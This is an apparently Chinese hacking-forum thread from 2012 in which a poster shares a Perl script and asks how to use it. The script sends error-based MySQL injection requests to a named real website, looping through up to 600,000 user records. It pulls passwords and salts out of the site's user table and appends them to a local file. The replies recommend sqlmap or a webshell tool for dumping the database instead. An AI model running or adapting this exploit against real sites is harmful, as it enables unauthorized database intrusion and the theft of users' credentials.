mysql注入导库脚本这个怎么用啊!

本帖最后由 武大郎 于 2012-4-21 13:47 编辑

[code="py"]
#!/usr/bin/perl -w

#www.sh3llc0de.com
#转载须注明
#语法 自己改改
use strict;
use LWP::Simple;
use utf8;
$|++;

my $count = 1;
for ($count = 1; $count <= 600_000; $count++) {
print 'ID: ', $count, "\n";
my $url = 'http://www.wowguru.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x5e24,0x7c,password,0x3A,salt,0x245e) FROM `wowguru_db`.user LIMIT%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';

#print "$url\n";

my $content = get($url);
while ($content =~ m|^$(.+?)$^|igs) {
open FILE, ">>", "password.txt" or die $!;
print "$1\n";
print FILE "$1\n";
close FILE;
}
}

这个不知道杂用!求大牛解答!

把你的注入语句填进去…还不如直接sqlmap呢

同上啊 菜刀脱也不错

小库菜刀就可以搞定

问题就是没拿到shell !!!菜刀脱不了啊! 还有 sqlmap太慢了!!

**回复 2# ettack **

不知道杂改那语句!!请大牛指点!!

**回复 6# 武大郎 **

我是菜碧,没用过这东西,不敢乱说